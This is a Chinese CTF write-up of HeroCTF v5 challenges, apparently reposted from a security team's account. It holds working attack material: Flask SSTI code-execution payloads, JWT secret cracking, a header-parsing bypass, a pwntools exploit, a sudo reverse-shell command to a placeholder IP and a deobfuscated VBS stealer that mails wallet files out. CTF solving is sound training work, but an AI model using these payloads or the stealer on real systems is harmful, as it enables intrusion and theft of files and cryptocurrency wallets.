HeroCTF v5 题解

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HeroCTF v5 题解

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前言




HeroCTF v5

星期六, 13 五月 2023, 03:00-星期一, 15 五月 2023, 05:00。


https://ctf.heroctf.fr

相关附件关注公众号回复 HeroCTFv5 获取


CTF战队正在招新!

WEB | PWN | RE | MISC | Crypto | IOT


简历投至 [email protected]

Blockchain

Challenge 00 : Oh sh. Here we go again

题目

HeroCTF v5 题解
image.png

题解

部署合约后只有合约地址,需要反编译合约

// Decompiled by library.dedaub.com
// 2023.05.12 19:25 UTC
// Compiled using the solidity compiler version 0.8.17


// Data structures and variables inferred from the use of storage instructions
uint256 _win; // STORAGE[0x0] bytes 0 to 0
uint256 stor_0_1_1; // STORAGE[0x0] bytes 1 to 1



function () public payable { 
    revert();
}

function 0x3c5269d8() public payable { 
    _win = 1;
}

function 0x459a2790() public payable { 
    return stor_0_1_1;
}

function win() public payable 
    v0 = v1 = _win;
    if (v1) {
        v0 = stor_0_1_1;
    }
    return bool(v0);
}

function 0x75ec067a() public payable { 
    if (_win) {
        stor_0_1_1 = 1;
    }
}

function 0xe9a37061() public payable { 
    return _win;
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable { 
    MEM[64] = 128;
    require(!msg.value);
    if (msg.data.length >= 4) {
        if (0x3c5269d8 == function_selector >> 224) {
            0x3c5269d8();
        } else if (0x459a2790 == function_selector >> 224) {
            0x459a2790();
        } else if (0x473ca96c == function_selector >> 224) {
            win();
        } else if (0x75ec067a == function_selector >> 224) {
            0x75ec067a();
        } else if (0xe9a37061 == function_selector >> 224) {
            0xe9a37061();
        }
    }
    ();
}

其中关注的函数有这几个

function 0x3c5269d8() public payable:将_win变量设置为1
function 0x459a2790() public payable:返回stor_0_1_1变量的值。
function 0x75ec067a() public payable:如果_win为真,则将stor_0_1_1变量设置为1
function 0xe9a37061() public payable:返回_win变量的值。

题目目标可能为将 win 和 stor_0_1_1变量 设置为 1 即可,  通过小狐狸发送两次调用函数的十六进制数据设置变量HeroCTF v5 题解HeroCTF v5 题解

Challenge 01 : Classic one tbh

题目

HeroCTF v5 题解
image.png

题解

合约源码

pragma solidity 0.8.17;

contract  hero2303
 {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "UNDIVTOK";
    string public constant symbol = "UDK";
    
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}

漏洞点为 sell 函数

function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        assert(getEtherBalance() == totalSupply * TOKEN_PRICE);
    }
assert(getEtherBalance() == totalSupply * TOKEN_PRICE);

assert断言条件为锁定的以太币要与总供应量相同,题目条件为使任何人调用 sell 函数无法卖出,我们只需要利用自毁函数 selfdestruct 强行打破代币平衡,导致无法出售HeroCTF v5 题解

pragma solidity 0.8.17;

contract Attack {
    address tokenaddr;

    constructor(address _tokenaddr) {
        tokenaddr = _tokenaddr;
    }

    function attack() external payable {
        require(msg.value != 0"Error");

        address payable target = payable(tokenaddr);
        selfdestruct(target);
    }
}
HeroCTF v5 题解
image.png

WEB

Best Schools

题目

HeroCTF v5 题解
image.png

题解

解法1:代理池爆破绕过IP速率限制(非预期)

存在爆破速率限制,代理池轮询爆破即可。(正常思路应该是graphql注入)

解法2:graphql 批量查询

Graphql可以在同一个HTTP请求中,发送多个query请求。只需将发送的query请求作为一个数组即可。

单个query请求:


{"query":"mutation { increaseClickSchool(schoolName: "Flag CyberSecurity School"){schoolId, nbClick} }"}

批量query请求:

[
  {"query":"mutation { increaseClickSchool(schoolName: "Flag CyberSecurity School"){schoolId, nbClick} }"},
  {"query":"mutation { increaseClickSchool(schoolName: "Flag CyberSecurity School"){schoolId, nbClick} }"},
  ...
]

利用Intruder中的 Character blocks payloads类型,即可完成爆破:HeroCTF v5 题解成功并发多个query请求:HeroCTF v5 题解Get Flag:HeroCTF v5 题解

Referrrrer

题目

HeroCTF v5 题解
image.png

题解

该题是一个使用express框架的node.js应用,中间有一个nginx做代理服务器:用户请求 -> Nginx代理服务器 -> Express应用。

Nginx的配置文件中,/admin 接口限制只有Referer头的值为: https://admin.internal.com/ 的HTTP请求才允许被转发。

location /admin {
            if ($http_referer !~* "^https://admin.internal.com") {
                return 403;
            }

而node.js源码中限制只有Referer头的值为YOU_SHOUD_NOT_PASS!的请求,才能获得带有FLAG的HTTP响应。

app.get("/admin", (req, res) => {
    if (req.header("referer") === "YOU_SHOUD_NOT_PASS!") {
        return res.send(process.env.FLAG);
    }
}

正常来讲如果想要同一个请求头被Nginx和Express读取为不同的值,就需要利用Nginx与Express对Referer头解析的差异性。

Referer请求头是RFC文档中官方定义的用于记录请求来源地址的HTTP请求头字段,而Referer实际上是Referrer这个单词的错误拼写,这是一个历史遗留的问题。

在Express6.0版本之前,Express开发者自行加入了对两种拼法全部支持的特性,甚至Referrer的优先级比官方规定的Referer更高(https://github.com/expressjs/express/issues/3951);而Nginx完全按照RFC文档的规定进行开发,不会将似乎正确的拼法Referrer解析为Referer字段。


因此,利用这个差异性,即可绕过两个Referer检查的限制:

GET /admin HTTP/1.1
Host: app
Referer: https://admin.internal.com/
Referrer: YOU_SHOUD_NOT_PASS!

HeroCTF v5 题解

Drink from my Flask#1

题目

HeroCTF v5 题解
image.png

题解

URI处存在SSTI,且限制模板内长度为30字节:http://DOMAIN/{{config}}另一接口/adminPage访问提示 guest 用户无法访问,身份标识存在于服务下发的JWT中。

Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww

Header:
{
    "typ""JWT",
    "alg""HS256"
}
Payload:
{
    "role""guest"
}
Signature:
AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww

由于SSTI限制34字节,此时有两个思路:1、绕过长度限制读flag;2、利用SSTI获得JWT的secret_key,修改role到admin并用key签名。

解法1:34字节SSTI RCE

通过 config.update 缓存制造变量,找一个 __globals__ 可以用第一个 config.update 存入的

https://flask.palletsprojects.com/en/2.0.x/config/
{{config.update(a=config.update)}}

{{config.a(b=lipsum.__globals__)}}
{{config.a(c=config.b.os)}}
{{config.a(d=config.c.popen)}}

读取  flag.txt 长度也有限制 用 cat f*t 读取

/{{config.d('cat f*t').read()}}
HeroCTF v5 题解
image.png

解法2:JWT弱key,Token data段中的role处存在无长度限制RCE

通过 Hashcat 使用弱密码爆破 JWT:

hashcat -a 0 -m 16500 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww ~/Github/brute_dict/jwt.secrets.list

可以得到 secret key 是 keyHeroCTF v5 题解利用 https://jwt.io/ 使用密钥 key 对Token签名,可以看出,role字段会有回显:HeroCTF v5 题解HeroCTF v5 题解可以想到此处即是无长度限制的SSTI注入点,SSTI payloads用key加密好直接打:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag*').read()}}

HeroCTF v5 题解

Pwn

Appointment Book

题目

HeroCTF v5 题解
image.png

题解

时间戳逆向拼凑bin_sh地址 二分直接找

#!/usr/bin/python2
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
context.terminal = ['tmux','splitw','-h']

l64 = lambda     :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
l32 = lambda     :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
leak  = lambda name,data : p.success(name + ": 0x%x" % data)
sd  = lambda payload: p.send(payload)
sa  = lambda a,b :p.sendafter(str(a),str(b))
sl  = lambda payload: p.sendline(payload)
sla = lambda a,b :p.sendlineafter(str(a),str(b))
ru  = lambda a     :p.recvuntil(str(a))
r  = lambda a     :p.recv(str(a)) 

debug = 2
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('static-03.heroctf.fr',5000)
elf = ELF('./chall',checksec=False)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
bin_sh = 0x00000000040133E
# 4170422
sla("Your choice: ",2)
sla("Enter the index of this appointment (0-7): ",-13)
pd = "1970-02-18 14:27:02"
# gdb.attach(p,'b *0x0000000000401611nc')
sla("[+] Enter a date and time (YYYY-MM-DD HH:MM:SS):",pd)
# sl("")
sleep(0.02)
sla("[+] Enter an associated message (place, people, notes...):",'a')
p.interactive()

flag:

Hero{Unch3ck3d_n3g4t1v3_1nd3x_1nt0_G0T_0v3wr1t3_g03s_brrrrrr}

Prog

Math Trap

题目

HeroCTF v5 题解
image.png

题解

题目是需要进行计算,给出计算公式进行计算,脚本方法是将远程服务器端发送的计算公式转换成字符串使用eval执行。

# coding=utf-8
from pwn import *

r = remote('static-01.heroctf.fr', 8000)

def calculate(formula):
    # 验证输入是否合法
    allowed_chars = set('0123456789.+-*/() ')
    if not set(formula) <= allowed_chars:
        raise ValueError('Illegal characters in formula')

    # 将输入的字符串作为 Python 代码执行,并得到计算结果
    try:
        result = eval(formula)
    except ZeroDivisionError:
        raise ValueError('Division by zero')
    except Exception as e:
        raise ValueError(f'Error during calculation: {str(e)}')

    return result

while True:
    # 获取远程连接并获取返回内容
    content = r.recv().decode()
    if not content:
        break
    print(content)
    formula = content.split('n')[-2]
    #print(formula)
    if formula:
        # 计算公式
        result = calculate(formula)
        print(f"计算结果为:{result}")
        # 发送计算结果至远程主机
        r.sendline(str(result).encode())
# 关闭远程连接
r.close()

HeroCTF v5 题解
image.png

Forensic

dev.corp 1/4

题目

HeroCTF v5 题解
image.png

题解

这是一个日志分析题,首先去搜索GET 或者POST请求,在请求中发现攻击者请求了很多admin-ajax.php文件。直接过滤admin-ajax.php文件筛选出返回成功的请求就能找到。可以看到是请求了三个文件,题目要求是最敏感的文件所以是id_rsa_backup。同时根据admin-ajax.php 可以搜索到对应的CVE漏洞编号。HeroCTF v5 题解HeroCTF v5 题解Hero{CVE-2020-11738:/home/webuser/.ssh/id_rsa_backup}

SYSTEM

Chm0d

题目

HeroCTF v5 题解
image.png

题解

http://www.fblinux.com/?p=30
HeroCTF v5 题解
image.png

SUDOkLu

题目

HeroCTF v5 题解
image.png

题解

user@sudoklu:~$ sudo -l
Matching Defaults entries for user on sudoklu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty

User user may run the following commands on sudoklu:
    (privilegeduser) NOPASSWD: /usr/bin/socket

socket 以 privilegeduser 身份反弹shell

sudo -u privilegeduser /usr/bin/socket -qvp '/bin/sh -i' xxx.xxx.xxx.xxx 12345

HeroCTF v5 题解HeroCTF v5 题解

Misc

PNG-G

题目

HeroCTF v5 题解
image.png

题解

是APNG文件 使用APNG查看器打开就能看到https://products.aspose.app/imaging/zh-hans/image-view/apngHeroCTF v5 题解

PDF-Mess

题目

HeroCTF v5 题解
image.png

题解

binwalk 分离出一个js

const CryptoJS=require('crypto-js'),key='3d3067e197cf4d0a',ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString'](),cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';

crypto-js解密获得结果 https://tool.oschina.net/encrypt/HeroCTF v5 题解

Subliminal#2

题目

HeroCTF v5 题解
image.png

题解

是一个mp4文件 会发现有个小方块一直出现,题目给了20x20像素。HeroCTF v5 题解首先分离所有帧率

import cv2

#
 读取视频文件
cap = cv2.VideoCapture('video.mp4')

#
 定义帧数计数器
frame_count = 0

while cap.isOpened():
    # 逐帧读取视频
    ret, frame = cap.read()

    if not ret:
        break

    # 将当前帧保存成一张图片,图片命名以帧数命名
    cv2.imwrite('frame_{}.jpg'.format(frame_count), frame)

    # 帧数加一
    frame_count += 1

#
 释放资源
cap.release()

然后从左上到右下规律提取小方块 拼接成图片

import cv2
import numpy as np

#
 定义空列表存储所有小方块
block_list = []

#
 遍历所有帧,读取小方块
for i in range(2304):
    # 读取当前帧的图片
    frame = cv2.imread('frame_{}.jpg'.format(i))

    # 提取小方块,左上角位置为(x, y),大小为(w, h)
    x, y = (i % 64) * 20, (i // 64) * 20
    w, h = 20, 20
    block = frame[y:y+h, x:x+w]

    # 将小方块添加到列表中
    block_list.append(block)

#
 计算输出图片大小
rows = 36
cols = 64
output_size = (cols * 20, rows * 20)

#
 初始化空白画布
canvas = np.zeros((output_size[1], output_size[0], 3), dtype=np.uint8)

#
 拼接小方块到画布中
for i in range(rows):
    for j in range(cols):
        canvas[(i*20):(i+1)*20, (j*20):(j+1)*20] = block_list[i*cols+j]

#
 展示拼接后的图片
cv2.imshow('Canvas', canvas)
cv2.waitKey(0)
cv2.destroyAllWindows()

#
 保存拼接后的图片
cv2.imwrite("output.jpg", canvas)

Reverse

Give My Money Back

题目

HeroCTF v5 题解
image.png

题解

解压是一个vbs的代码

dIM jJkmPKZNvhSgPGmVLdvBVgOimreRTqiaEDiOcfNqy, AxEjAhgOVVhnXPrQQdPpAItXlqhuIRHOuDWWhvoyp, FwwcltIiESLKzggUCrjiaEUtjbmpvvGzwJNhoLFSp
Sub FncTqZirWltYCeayCzqdIRdKqrIzaKWRIZbSCprXS
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axEjahGoVVhnxPRQQDPPaiTXLQhUIRhouDwwHvOyp = splIt(jjkMPKzNVhSgpGmvLdVBVGOimrerTQIaeDiocFNQY, chr(eVaL(75684/1802)))
for each MqNbrDAQjYRIwUnepBXnOsmlQlLuaaeTTwAchSFjz In AxEjahGovVHNxprqQdPPAITXLqhuiRHOuDwwhVOyP
FWwCltIiEsLkZgGUCRjiAEuTJbMpVVgZwJNhOLFSp = fwWCLtIieslKZgGUcrjIaEUTJBmPvvgZwjNHoLfSp & Chr(eVaL(MqnBrdaqjYRIwUnEPBxnoSMlqLluAaeTtwAchSFJz))
NEXT
lxtvaQuFKFKhmxjWgYFOSFuWJcYbTRdpUPuDAdnmD
end SUb
SUb LXTvAQufKFkHMxJwGYFOsFUwJcYBTRDPuPUdadnmD
eval(eXecUTe(fwwCltiieslkzggUCrJIaeUtjBmPvvGZwJNHoLFsp))
enD sUB
FnCtqZiRWLtyCeayCzQdIrDKqrIZAkwRIzBsCpRXs

其实就是把那个很长的公式按 * 分割,然后计算结果转为chr

on error resume next
Const Desktop = 4
Const MyDocuments = 16
Set S = CreateObject("Wscript.Shell")

Set FSO = CreateObject("scripting.filesystemobject")
WScript.Sleep(1000 * 30)

strSMTP_Server = "smtp.mail.ru"
strTo = "[email protected]"
strFrom = "[email protected]"
strSubject = "AIRDROP"
strBody = "LOG"

Set iMsg=CreateObject("CDO.Message")
Set iConf=CreateObject("CDO.Configuration")

Set wshShell = CreateObject( "WScript.Shell" )
strUserName = wshShell.ExpandEnvironmentStrings( "%USERNAME%" )
Set Flds=iConf.Fields
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusing")    = 2
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
Flds.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl")      = true
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendusername")    = "[email protected]"
Flds.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword")    = "R4CMZ3rVnMFtzz6vzRi1"

Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo

iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody
Set fld = FSO.GetFolder(S.SpecialFolders(Desktop))
For each file in fld.files
    if LCase(FSO.GetExtensionName(file)) = "txt" Then
        iMsg.AddAttachment file.path
    End if
Next

Flds.Update
iMsg.Configuration=iConf
iMsg.To=strTo
iMsg.From=strFrom
iMsg.Subject=strSubject
iMsg.TextBody=strBody

Set fld = FSO.GetFolder(S.SpecialFolders(MyDocuments))
For each file in fld.files
    if LCase(FSO.GetExtensionName(file)) = "txt" Then
        iMsg.AddAttachment file.path

    End if
Next
iMsg.AddAttachment "C:Users" & strUserName & "AppDataLocalodinodinreport.zip"
iMsg.AddAttachment "
A:Users" & strUserName & "AppDataLocalodinodinreport.zip"
iMsg.AddAttachment "
B:Users" & strUserName & "AppDataLocalodinodinreport.zip"
iMsg.AddAttachment "
D:Users" & strUserName & "AppDataLocalodinodinreport.zip"
iMsg.AddAttachment "
C:Users" & strUserName & "AppDataRoamingBitcoinwallet.dat"
iMsg.AddAttachment "
C:Users" & strUserName & "AppDataRoamingElectrumwalletsdefault_wallet"
iMsg.Send

Set mFSO = CreateObject("
Scripting.FileSystemObject")
Call mFSO.DeleteFile(WScript.ScriptFullName, True)

邮箱是  [email protected]  文件是 default_wallet

Crypto

Hyper Loop

题目

HeroCTF v5 题解
image.png

题解

简单的异或直接可以根据flag格式还原key

from os import urandom
flag =b'x05px07MSxfd4eFPwxf9}%x05x03x19xe8'
flags=b'Hero{'
key=[]
for i in range(len(flags)):
    key.append(flags[i]^flag[i])
key.append(ord('}')^flag[-1])
a=''
key=key*3
for j in range(len(flag)):
    a+=chr(flag[j]^key[j])
print(a)
#Hero{hyp3r_l00p!1}




作者



HeroCTF v5 题解

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HeroCTF v5 题解
HeroCTF v5 题解



原文始发于微信公众号(WgpSec狼组安全团队):HeroCTF v5 题解

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  • 本文由 发表于 2023年5月16日23:32:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HeroCTF v5 题解http://cn-sec.com/archives/1738535.html

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